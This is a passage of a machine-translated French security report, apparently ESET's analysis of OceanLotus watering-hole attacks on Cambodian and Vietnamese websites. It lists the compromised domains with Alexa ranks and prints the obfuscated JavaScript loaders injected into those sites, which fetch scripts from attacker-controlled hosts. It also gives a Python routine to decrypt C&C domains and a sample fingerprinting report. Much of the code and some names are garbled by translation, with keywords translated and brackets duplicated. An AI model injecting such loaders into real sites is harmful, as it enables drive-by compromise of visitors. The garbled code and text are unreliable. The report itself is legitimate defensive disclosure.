cryptographie à clé publique pour échanger une clé de session AES, utilisée pour chiffrer d&#039;autres communications, empêchant ainsi les produits de sécurité d&#039;intercepter la charge finale. Ils sont également passés de HTTP à WebSocket pour masquer leurs communications malveillantes.\nLes chercheurs d&#039;ESET ont identifié 21 sites Web distincts qui avaient été compromis, chacun étant redirigé vers un domaine distinct contrôlé par les attaquants.\nLa figure 1 montre la région ciblée par cette campagne.</p>"},{"id":"text-3","type":"text","heading":"","plain_text":"Figure 1 &#8211; Emplacement des sites Web compromis","html":"<p>Figure 1 &#8211; Emplacement des sites Web compromis</p>"},{"id":"text-4","type":"text","heading":"","plain_text":"La plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le tableau suivant détaille les différentes victimes. Nous les avons tous informés en octobre, mais la plupart d&#39;entre eux sont encore en train d&#39;injecter des scripts malveillants au moment de la rédaction, deux mois après le premier compromis. Ainsi, nous vous encourageons ne pas visiter ces sites.","html":"<p>La plupart des domaines compromis sont liés aux médias ou au gouvernement cambodgien. Le tableau suivant détaille les différentes victimes. Nous les avons tous informés en octobre, mais la plupart d&#039;entre eux sont encore en train d&#039;injecter des scripts malveillants au moment de la rédaction, deux mois après le premier compromis. Ainsi, nous vous encourageons ne pas visiter ces sites.</p>"},{"id":"text-5","type":"text","heading":"","plain_text":"Domaine compromis\nLa description","html":"<p>Domaine compromis\nLa description</p>"},{"id":"text-6","type":"text","heading":"","plain_text":"baotgm[.]net\nMédia en vietnamien (basé à Arlington, Texas)","html":"<p>baotgm[.]net\nMédia en vietnamien (basé à Arlington, Texas)</p>"},{"id":"text-7","type":"text","heading":"","plain_text":"cnrp7[.]org\nCambodge National Rescue Party","html":"<p>cnrp7[.]org\nCambodge National Rescue Party</p>"},{"id":"text-8","type":"text","heading":"","plain_text":"conggiaovietnam[.]net\nEn rapport avec la religion &#8211; en vietnamien","html":"<p>conggiaovietnam[.]net\nEn rapport avec la religion &#8211; en vietnamien</p>"},{"id":"text-9","type":"text","heading":"","plain_text":"daichungvienvinhthanh[.]com\nEn rapport avec la religion &#8211; en vietnamien","html":"<p>daichungvienvinhthanh[.]com\nEn rapport avec la religion &#8211; en vietnamien</p>"},{"id":"text-10","type":"text","heading":"","plain_text":"danchimviet[.]Info\nMédias en vietnamien","html":"<p>danchimviet[.]Info\nMédias en vietnamien</p>"},{"id":"text-11","type":"text","heading":"","plain_text":"danviet[.]vn\nMédias en vietnamien","html":"<p>danviet[.]vn\nMédias en vietnamien</p>"},{"id":"text-12","type":"text","heading":"","plain_text":"Danviethouston[.]com\nMédias en vietnamien","html":"<p>Danviethouston[.]com\nMédias en vietnamien</p>"},{"id":"text-13","type":"text","heading":"","plain_text":"fvpoc[.]org\nAnciens prisonniers d&#39;opinion vietnamiens","html":"<p>fvpoc[.]org\nAnciens prisonniers d&#039;opinion vietnamiens</p>"},{"id":"text-14","type":"text","heading":"","plain_text":"club de jardinage[.]com\nClub de golf à Phnom Penh, Royaume du Cambodge","html":"<p>club de jardinage[.]com\nClub de golf à Phnom Penh, Royaume du Cambodge</p>"},{"id":"text-15","type":"text","heading":"","plain_text":"lienketqnhn[.]org\nMédias en vietnamien","html":"<p>lienketqnhn[.]org\nMédias en vietnamien</p>"},{"id":"text-16","type":"text","heading":"","plain_text":"mfaic.gov[.]kh\nMinistère des affaires étrangères et de la coopération internationale du Cambodge","html":"<p>mfaic.gov[.]kh\nMinistère des affaires étrangères et de la coopération internationale du Cambodge</p>"},{"id":"text-17","type":"text","heading":"","plain_text":"mod.gov[.]kh\nMinistère de la Défense du Cambodge","html":"<p>mod.gov[.]kh\nMinistère de la Défense du Cambodge</p>"},{"id":"text-18","type":"text","heading":"","plain_text":"mtgvinh[.]net\nEn rapport avec la religion &#8211; en vietnamien","html":"<p>mtgvinh[.]net\nEn rapport avec la religion &#8211; en vietnamien</p>"},{"id":"text-19","type":"text","heading":"","plain_text":"nguoitieudung.com[.]vn\nMédias en vietnamien","html":"<p>nguoitieudung.com[.]vn\nMédias en vietnamien</p>"},{"id":"text-20","type":"text","heading":"","plain_text":"phnompenhpost[.]com\nJournal cambodgien en anglais","html":"<p>phnompenhpost[.]com\nJournal cambodgien en anglais</p>"},{"id":"text-21","type":"text","heading":"","plain_text":"raovatcalitoday[.]com\nInconnu &#8211; En vietnamien","html":"<p>raovatcalitoday[.]com\nInconnu &#8211; En vietnamien</p>"},{"id":"text-22","type":"text","heading":"","plain_text":"thongtinchongphandong[.]com\nMédias de l&#39;opposition en vietnamien","html":"<p>thongtinchongphandong[.]com\nMédias de l&#039;opposition en vietnamien</p>"},{"id":"text-23","type":"text","heading":"","plain_text":"tinkhongle[.]com\nMédias en vietnamien","html":"<p>tinkhongle[.]com\nMédias en vietnamien</p>"},{"id":"text-24","type":"text","heading":"","plain_text":"toithichdoc.blogspot[.]com\nBlog en vietnamien","html":"<p>toithichdoc.blogspot[.]com\nBlog en vietnamien</p>"},{"id":"text-25","type":"text","heading":"","plain_text":"trieudaiviet[.]com\nInconnu &#8211; En vietnamien","html":"<p>trieudaiviet[.]com\nInconnu &#8211; En vietnamien</p>"},{"id":"text-26","type":"text","heading":"","plain_text":"triviet[.]nouvelles\nMédias en vietnamien","html":"<p>triviet[.]nouvelles\nMédias en vietnamien</p>"},{"id":"text-27","type":"text","heading":"","plain_text":"Tableau 1 &#8211; Description des sites Web compromis\nEn règle générale, lors d’une attaque à l’eau vive, les adversaires compromettent des sites Web régulièrement visités par des cibles potentielles. Cependant, lors de cette attaque, OceanLotus a également été en mesure de compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau ci-dessous présente le rang Alexa au moment de la rédaction (plus le rang est bas, plus il est fréquenté) des sites Web compromis. Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui est le 116th site le plus visité au Vietnam.","html":"<p>Tableau 1 &#8211; Description des sites Web compromis\nEn règle générale, lors d’une attaque à l’eau vive, les adversaires compromettent des sites Web régulièrement visités par des cibles potentielles. Cependant, lors de cette attaque, OceanLotus a également été en mesure de compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau ci-dessous présente le rang Alexa au moment de la rédaction (plus le rang est bas, plus il est fréquenté) des sites Web compromis. Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui est le 116th site le plus visité au Vietnam.</p>"},{"id":"text-28","type":"text","heading":"","plain_text":"Domaine\nRang Alexa (global)\nRang Alexa (dans le pays le plus populaire)","html":"<p>Domaine\nRang Alexa (global)\nRang Alexa (dans le pays le plus populaire)</p>"},{"id":"text-29","type":"text","heading":"","plain_text":"danviet[.]vn\n12 887\n116","html":"<p>danviet[.]vn\n12 887\n116</p>"},{"id":"text-30","type":"text","heading":"","plain_text":"phnompenhpost[.]com\n85 910\n18 880","html":"<p>phnompenhpost[.]com\n85 910\n18 880</p>"},{"id":"text-31","type":"text","heading":"","plain_text":"nguoitieudung.com[.]vn\n261 801\n2 397","html":"<p>nguoitieudung.com[.]vn\n261 801\n2 397</p>"},{"id":"text-32","type":"text","heading":"","plain_text":"danchimviet[.]Info\n287,852\n144 884","html":"<p>danchimviet[.]Info\n287,852\n144 884</p>"},{"id":"text-33","type":"text","heading":"","plain_text":"baotgm[.]net\n675,669\n119 737","html":"<p>baotgm[.]net\n675,669\n119 737</p>"},{"id":"text-34","type":"text","heading":"","plain_text":"toithichdoc.blogspot[.]com\n700 470\n11 532","html":"<p>toithichdoc.blogspot[.]com\n700 470\n11 532</p>"},{"id":"text-35","type":"text","heading":"","plain_text":"mfaic.gov[.]kh\n978,165\n2 149","html":"<p>mfaic.gov[.]kh\n978,165\n2 149</p>"},{"id":"text-36","type":"text","heading":"","plain_text":"conggiaovietnam[.]net\n1 040 548\n15 368","html":"<p>conggiaovietnam[.]net\n1 040 548\n15 368</p>"},{"id":"text-37","type":"text","heading":"","plain_text":"thongtinchongphandong[.]com\n1 134 691\n21 575","html":"<p>thongtinchongphandong[.]com\n1 134 691\n21 575</p>"},{"id":"text-38","type":"text","heading":"","plain_text":"tinkhongle[.]com\n1 301 722\n15 224","html":"<p>tinkhongle[.]com\n1 301 722\n15 224</p>"},{"id":"text-39","type":"text","heading":"","plain_text":"daichungvienvinhthanh[.]com\n1 778 418\n23 428","html":"<p>daichungvienvinhthanh[.]com\n1 778 418\n23 428</p>"},{"id":"text-40","type":"text","heading":"","plain_text":"triviet[.]nouvelles\n2 767 289\nIndisponible","html":"<p>triviet[.]nouvelles\n2 767 289\nIndisponible</p>"},{"id":"text-41","type":"text","heading":"","plain_text":"mod.gov[.]kh\n4 247 649\n3 719","html":"<p>mod.gov[.]kh\n4 247 649\n3 719</p>"},{"id":"text-42","type":"text","heading":"","plain_text":"raovatcalitoday[.]com\n8.180.358\nIndisponible","html":"<p>raovatcalitoday[.]com\n8.180.358\nIndisponible</p>"},{"id":"text-43","type":"text","heading":"","plain_text":"cnrp7[.]org\n8 411 693\nIndisponible","html":"<p>cnrp7[.]org\n8 411 693\nIndisponible</p>"},{"id":"text-44","type":"text","heading":"","plain_text":"mtgvinh[.]net\n8,415,468\nIndisponible","html":"<p>mtgvinh[.]net\n8,415,468\nIndisponible</p>"},{"id":"text-45","type":"text","heading":"","plain_text":"Danviethouston[.]com\n8 777 564\nIndisponible","html":"<p>Danviethouston[.]com\n8 777 564\nIndisponible</p>"},{"id":"text-46","type":"text","heading":"","plain_text":"lienketqnhn[.]org\n16 109 635\nIndisponible","html":"<p>lienketqnhn[.]org\n16 109 635\nIndisponible</p>"},{"id":"text-47","type":"text","heading":"","plain_text":"club de jardinage[.]com\n16 109 635\nIndisponible","html":"<p>club de jardinage[.]com\n16 109 635\nIndisponible</p>"},{"id":"text-48","type":"text","heading":"","plain_text":"trieudaiviet[.]com\n16 969 048\nIndisponible","html":"<p>trieudaiviet[.]com\n16 969 048\nIndisponible</p>"},{"id":"text-49","type":"text","heading":"","plain_text":"fvpoc[.]org\nIndisponible\nIndisponible","html":"<p>fvpoc[.]org\nIndisponible\nIndisponible</p>"},{"id":"text-50","type":"text","heading":"","plain_text":"Tableau 2 &#8211; Rang Alexa des sites Web compromis\nLe mode de fonctionnement est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit morceau de code JavaScript dans la page d&#39;index ou dans un fichier JavaScript hébergé sur le même serveur. Le morceau de code de la figure 2, légèrement obscurci, charge ensuite un autre script à partir d&#39;un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh / wp-content / themes / ministère des affaires étrangères / slick / slick.min.js, chargera le fichier de https: //weblink.selfip[.]info / images / cdn.js? from = maxcdn.","html":"<p>Tableau 2 &#8211; Rang Alexa des sites Web compromis\nLe mode de fonctionnement est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit morceau de code JavaScript dans la page d&#039;index ou dans un fichier JavaScript hébergé sur le même serveur. Le morceau de code de la figure 2, légèrement obscurci, charge ensuite un autre script à partir d&#039;un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh / wp-content / themes / ministère des affaires étrangères / slick / slick.min.js, chargera le fichier de https: //weblink.selfip[.]info / images / cdn.js? from = maxcdn.</p>"},{"id":"text-51","type":"text","heading":"","plain_text":"(une fonction()\n    var pt = &quot;http&quot;;\n    var l = document.createElement (&#39;script&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[0] + arguments[2] + arguments[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName (&#39;body&#39;)[0].appendChild (l)\n) (&#39;web&#39;, &#39;a&#39;, &#39;link&#39;, &#39;.self&#39;);","html":"<p>(une fonction()\n    var pt = &quot;http&quot;;\n    var l = document.createElement (&#039;script&#039;);\n    l.src = pt + &quot;s: //&quot; + arguments[0] + arguments[2] + arguments[3] + &#039;ip.&#039; + &#039;info / images / cdn.js? from = maxcdn&#039;;\n    document.getElementsByTagName (&#039;body&#039;)[0].appendChild (l)\n) (&#039;web&#039;, &#039;a&#039;, &#039;link&#039;, &#039;.self&#039;);</p>"},{"id":"text-52","type":"text","heading":"","plain_text":"(une fonction() \n    var pt = &quot;http&quot;;\n    var l = document.createElement(&#39;scénario&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[[[[0] + arguments[[[[2] + arguments[[[[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName(&#39;corps&#39;)[[[[0].appendChild(l)\n)(&#39;web&#39;, &#39;une&#39;, &#39;lien&#39;, &#39;.soi&#39;);","html":"<p>(une fonction() \n    var pt = &quot;http&quot;;\n    var l = document.createElement(&#039;scénario&#039;);\n    l.src = pt + &quot;s: //&quot; + arguments[[[[0] + arguments[[[[2] + arguments[[[[3] + &#039;ip.&#039; + &#039;info / images / cdn.js? from = maxcdn&#039;;\n    document.getElementsByTagName(&#039;corps&#039;)[[[[0].appendChild(l)\n)(&#039;web&#039;, &#039;une&#039;, &#039;lien&#039;, &#039;.soi&#039;);</p>"},{"id":"text-53","type":"text","heading":"","plain_text":"Figure 2 &#8211; Morceau de code JavaScript ajouté à mfaic.gov[.]kh\nPour échapper à la détection, ils prennent les mesures suivantes:","html":"<p>Figure 2 &#8211; Morceau de code JavaScript ajouté à mfaic.gov[.]kh\nPour échapper à la détection, ils prennent les mesures suivantes:</p>"},{"id":"text-54","type":"text","heading":"","plain_text":"Ils masquent les scripts pour empêcher l&#39;extraction statique de l&#39;URL finale.\nL&#39;URL ressemble à une véritable bibliothèque JavaScript utilisée par le site Web.\nIls utilisent un domaine et un URI différents par site Web compromis.\nLe script est différent pour chaque site Web compromis. Le code suivant est le script inséré dans un autre site Web compromis:","html":"<p>Ils masquent les scripts pour empêcher l&#039;extraction statique de l&#039;URL finale.\nL&#039;URL ressemble à une véritable bibliothèque JavaScript utilisée par le site Web.\nIls utilisent un domaine et un URI différents par site Web compromis.\nLe script est différent pour chaque site Web compromis. Le code suivant est le script inséré dans un autre site Web compromis:</p>"},{"id":"text-55","type":"text","heading":"","plain_text":"var script = document.createElement (&quot;script&quot;);\nvar i = &#39;crash-course&#39;;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? sa =&quot; + i;\nscript.async = true;\nscript.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.split (&quot;&quot;) .map (x =&gt; x.replace (&quot;z&quot;, &quot;i &quot;)). join (&quot;. &quot;) + _ + e;\nvar doc = document.getElementsByTagName (&#39;script&#39;)[0];\ndoc.parentNode.insertBefore (script, doc);","html":"<p>var script = document.createElement (&quot;script&quot;);\nvar i = &#039;crash-course&#039;;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#039;/&#039;;\nvar e = &quot;VisitorIdentification.js? sa =&quot; + i;\nscript.async = true;\nscript.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.split (&quot;&quot;) .map (x =&gt; x.replace (&quot;z&quot;, &quot;i &quot;)). join (&quot;. &quot;) + _ + e;\nvar doc = document.getElementsByTagName (&#039;script&#039;)[0];\ndoc.parentNode.insertBefore (script, doc);</p>"},{"id":"text-56","type":"text","heading":"","plain_text":"var scénario = document.createElement(&quot;scénario&quot;);\nvar je = «cours intensif»;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? Sa =&quot; + je;\nscénario.async = vrai;\nscénario.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.Divisé(&quot;&quot;).carte(X =&gt; X.remplacer(&quot;z&quot;, &quot;je&quot;)).joindre(&quot;.&quot;) + _ + e;\nvar doc = document.getElementsByTagName(&#39;scénario&#39;)[[[[0];\ndoc.parentNode.insérerAvant(scénario, doc);","html":"<p>var scénario = document.createElement(&quot;scénario&quot;);\nvar je = «cours intensif»;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#039;/&#039;;\nvar e = &quot;VisitorIdentification.js? Sa =&quot; + je;\nscénario.async = vrai;\nscénario.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.Divisé(&quot;&quot;).carte(X =&gt; X.remplacer(&quot;z&quot;, &quot;je&quot;)).joindre(&quot;.&quot;) + _ + e;\nvar doc = document.getElementsByTagName(&#039;scénario&#039;)[[[[0];\ndoc.parentNode.insérerAvant(scénario, doc);</p>"},{"id":"text-57","type":"text","heading":"","plain_text":"Figure 3 &#8211; Un autre morceau de JavaScript inséré dans un site Web ciblé\nPremière étape\nEn fonction de l&#39;emplacement de l&#39;adresse IP du visiteur, le serveur de la première étape, par ex. weblink.selfip[.]info pour mfaic.gov[.]kh, fournit un script leurre (une bibliothèque JavaScript légitime et aléatoire) ou le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, par exemple). Tous les serveurs ne disposent pas d&#39;un contrôle d&#39;emplacement, mais lorsqu&#39;il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent le script malveillant.\nLe script de la première étape contient plusieurs contrôles pour échapper à la détection, comme illustré à la figure 4.","html":"<p>Figure 3 &#8211; Un autre morceau de JavaScript inséré dans un site Web ciblé\nPremière étape\nEn fonction de l&#039;emplacement de l&#039;adresse IP du visiteur, le serveur de la première étape, par ex. weblink.selfip[.]info pour mfaic.gov[.]kh, fournit un script leurre (une bibliothèque JavaScript légitime et aléatoire) ou le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, par exemple). Tous les serveurs ne disposent pas d&#039;un contrôle d&#039;emplacement, mais lorsqu&#039;il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent le script malveillant.\nLe script de la première étape contient plusieurs contrôles pour échapper à la détection, comme illustré à la figure 4.</p>"},{"id":"text-58","type":"text","heading":"","plain_text":"[…]\nfonction t (n)\n    var r = this;\n    ! function (t, n)\n        si (! (t instanceof n))\n            throw new TypeError (&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n     (this, t), this.t =\n        o: null,\n        s:! 0\n    , this.scr =! 0, this.r (), this.i =! 0, window.addEventListener (&#39;scroll&#39;, fonction () );\nretourne t.prototype.r = function ()\n    var t = this;\n    setInterval (function ()  r)? (t.t. =! 1, t.t.o = null): (t.t.s =! 0, t.o.e = e);\n    , 500);\n […]","html":"<p>[…]\nfonction t (n)\n    var r = this;\n    ! function (t, n)\n        si (! (t instanceof n))\n            throw new TypeError (&#039;Impossible d&#039;appeler une classe en tant que fonction&#039;);\n     (this, t), this.t =\n        o: null,\n        s:! 0\n    , this.scr =! 0, this.r (), this.i =! 0, window.addEventListener (&#039;scroll&#039;, fonction () );\nretourne t.prototype.r = function ()\n    var t = this;\n    setInterval (function ()  r)? (t.t. =! 1, t.t.o = null): (t.t.s =! 0, t.o.e = e);\n    , 500);\n […]</p>"},{"id":"text-59","type":"text","heading":"","plain_text":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21","html":"<p>1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21</p>"},{"id":"text-60","type":"text","heading":"","plain_text":"[[[[…]\nune fonction t(n) \n    var r = cette;\n    !une fonction (t, n) \n        si (!(t exemple de n))\n            jeter Nouveau Erreur-type(&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n    (cette, t), cette.t = \n        o: nul,\n        s: !0\n    , cette.scr = !0, cette.r(), cette.je = !0, fenêtre.addEventListener(&#39;faire défiler&#39;, une fonction ()  r.scr &amp;&amp; !r.t.s &amp;&amp; (r.scr = !1, r.c(n)), r.je = !1;\n    );","html":"<p>[[[[…]\nune fonction t(n) \n    var r = cette;\n    !une fonction (t, n) \n        si (!(t exemple de n))\n            jeter Nouveau Erreur-type(&#039;Impossible d&#039;appeler une classe en tant que fonction&#039;);\n    (cette, t), cette.t = \n        o: nul,\n        s: !0\n    , cette.scr = !0, cette.r(), cette.je = !0, fenêtre.addEventListener(&#039;faire défiler&#039;, une fonction ()  r.scr &amp;&amp; !r.t.s &amp;&amp; (r.scr = !1, r.c(n)), r.je = !1;\n    );</p>"},{"id":"text-61","type":"text","heading":"","plain_text":"revenir t.prototype.r = une fonction () \n    var t = cette;\n    setInterval(une fonction () \n        var n = fenêtre.largeur extérieure &#8211; fenêtre.largeur intérieure &gt; 160, r = fenêtre.outerHeight &#8211; fenêtre.taille intérieure &gt; 160, e = n ? &#39;verticale&#39; : &#39;horizontal&#39;;\n        r &amp;&amp; n , 500);","html":"<p>revenir t.prototype.r = une fonction () \n    var t = cette;\n    setInterval(une fonction () \n        var n = fenêtre.largeur extérieure &#8211; fenêtre.largeur intérieure &gt; 160, r = fenêtre.outerHeight &#8211; fenêtre.taille intérieure &gt; 160, e = n ? &#039;verticale&#039; : &#039;horizontal&#039;;\n        r &amp;&amp; n , 500);</p>"},{"id":"text-62","type":"text","heading":"","plain_text":"[[[[…]","html":"<p>[[[[…]</p>"},{"id":"text-63","type":"text","heading":"","plain_text":"Figure 4 &#8211; Charge utile JavaScript de la première étape\nLe script attendra que la victime défile sur la page. Il vérifie également la résolution de la fenêtre et détermine si Firebug, une extension de navigateur utilisée pour analyser des pages Web, est activé. Si l&#39;une des vérifications échoue, l&#39;exécution est interrompue.\nEnsuite, il déchiffre le domaine Command &amp; Control à l&#39;aide d&#39;un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré à wss: //tcog.thruhere[.]net. Pour chaque domaine de premier étage, les attaquants enregistrent également un domaine de deuxième étage différent, chacun hébergé sur un serveur différent. Le code de la figure 5 est un équivalent, en Python, de la fonction de déchiffrement.","html":"<p>Figure 4 &#8211; Charge utile JavaScript de la première étape\nLe script attendra que la victime défile sur la page. Il vérifie également la résolution de la fenêtre et détermine si Firebug, une extension de navigateur utilisée pour analyser des pages Web, est activé. Si l&#039;une des vérifications échoue, l&#039;exécution est interrompue.\nEnsuite, il déchiffre le domaine Command &amp; Control à l&#039;aide d&#039;un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré à wss: //tcog.thruhere[.]net. Pour chaque domaine de premier étage, les attaquants enregistrent également un domaine de deuxième étage différent, chacun hébergé sur un serveur différent. Le code de la figure 5 est un équivalent, en Python, de la fonction de déchiffrement.</p>"},{"id":"text-64","type":"text","heading":"","plain_text":"def decrypt (encrypted_url):\ns = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\nreturn &quot;&quot; .join (chr (s.index (encrypted_url[e]) * 36 + s.index (encrypted_url[e+1])) pour e dans la plage (0, len (encrypted_url), 2))","html":"<p>def decrypt (encrypted_url):\ns = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\nreturn &quot;&quot; .join (chr (s.index (encrypted_url[e]) * 36 + s.index (encrypted_url[e+1])) pour e dans la plage (0, len (encrypted_url), 2))</p>"},{"id":"text-65","type":"text","heading":"","plain_text":"def décrypter(encrypted_url):\n\ts = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\n\trevenir &quot;&quot;.joindre(chr(s.indice(encrypted_url[[[[e]) * 36 + s.indice(encrypted_url[[[[e+1])) pour e dans intervalle(0,len(encrypted_url),2))","html":"<p>def décrypter(encrypted_url):\n\ts = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\n\trevenir &quot;&quot;.joindre(chr(s.indice(encrypted_url[[[[e]) * 36 + s.indice(encrypted_url[[[[e+1])) pour e dans intervalle(0,len(encrypted_url),2))</p>"},{"id":"text-66","type":"text","heading":"","plain_text":"Figure 5 &#8211; Code Python pour décrypter les serveurs C &amp; C\nUne fois l&#39;adresse C &amp; C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées via WebSocket sur SSL. Ce protocole permet une communication en duplex intégral entre un client et un serveur. Cela signifie que, une fois que le client établit une connexion, un serveur peut envoyer des données au client même si le client n&#39;a pas envoyé de demande. Cependant, dans ce cas particulier, l’utilisation des sockets Web semble avoir pour principal objectif d’éviter la détection.\nDeuxième étape\nLe script de deuxième étape est en fait un script de reconnaissance. Les développeurs OceanLotus ont réutilisé la bibliothèque fingerprintjs2 de Valve, disponible sur GitHub, en la modifiant légèrement afin d’ajouter une communication réseau et un rapport personnalisé.\nLa figure 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte par la première étape.","html":"<p>Figure 5 &#8211; Code Python pour décrypter les serveurs C &amp; C\nUne fois l&#039;adresse C &amp; C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées via WebSocket sur SSL. Ce protocole permet une communication en duplex intégral entre un client et un serveur. Cela signifie que, une fois que le client établit une connexion, un serveur peut envoyer des données au client même si le client n&#039;a pas envoyé de demande. Cependant, dans ce cas particulier, l’utilisation des sockets Web semble avoir pour principal objectif d’éviter la détection.\nDeuxième étape\nLe script de deuxième étape est en fait un script de reconnaissance. Les développeurs OceanLotus ont réutilisé la bibliothèque fingerprintjs2 de Valve, disponible sur GitHub, en la modifiant légèrement afin d’ajouter une communication réseau et un rapport personnalisé.\nLa figure 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte par la première étape.</p>"},{"id":"text-67","type":"text","heading":"","plain_text":"Figure 6 &#8211; Flux de la charge utile de la deuxième étape","html":"<p>Figure 6 &#8211; Flux de la charge utile de la deuxième étape</p>"},{"id":"text-68","type":"text","heading":"","plain_text":"La communication est cryptée à l&#39;aide d&#39;une clé de session AES, générée par le serveur. Il est crypté avec une clé publique RSA 1024 bits et envoyé au client. Ainsi, il n&#39;est pas possible de décrypter les communications entre le client et le serveur.\nEn comparaison avec les précédentes itérations de leur structure de points d’arrosage, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent pas être détectées puis déchiffrées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoC.\nCe script de reconnaissance crée un rapport, semblable à celui présenté ci-dessous, et l&#39;envoie au serveur C &amp; C de deuxième étape.","html":"<p>La communication est cryptée à l&#039;aide d&#039;une clé de session AES, générée par le serveur. Il est crypté avec une clé publique RSA 1024 bits et envoyé au client. Ainsi, il n&#039;est pas possible de décrypter les communications entre le client et le serveur.\nEn comparaison avec les précédentes itérations de leur structure de points d’arrosage, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent pas être détectées puis déchiffrées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoC.\nCe script de reconnaissance crée un rapport, semblable à celui présenté ci-dessous, et l&#039;envoie au serveur C &amp; C de deuxième étape.</p>"},{"id":"text-69","type":"text","heading":"","plain_text":"{\n  &quot;histoire&quot;:\n    &quot;client_title&quot;: &quot;Ministry% 20of% 20Forign% 20Affairs% 20and% 20International% 20Cooperation% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [\n      « 192.168.x.x »,\n      « x.x.x.x »\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80b80bc6d45\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;:\n      &quot;activex&quot;: false,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;quicktime&quot;: faux,\n      &quot;realplayer&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;touch&quot;: faux,\n      &quot;vbscript&quot;: false,\n      &quot;vlc&quot;: false,\n      &quot;webrtc&quot;: true,\n      &quot;wmp&quot;: false\n    ,\n    &quot;_écran&quot;:\n      &quot;largeur&quot;: 1920,\n      &quot;hauteur&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [\n[&#8230;]","html":"<p>{\n  &quot;histoire&quot;:\n    &quot;client_title&quot;: &quot;Ministry% 20of% 20Forign% 20Affairs% 20and% 20International% 20Cooperation% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n 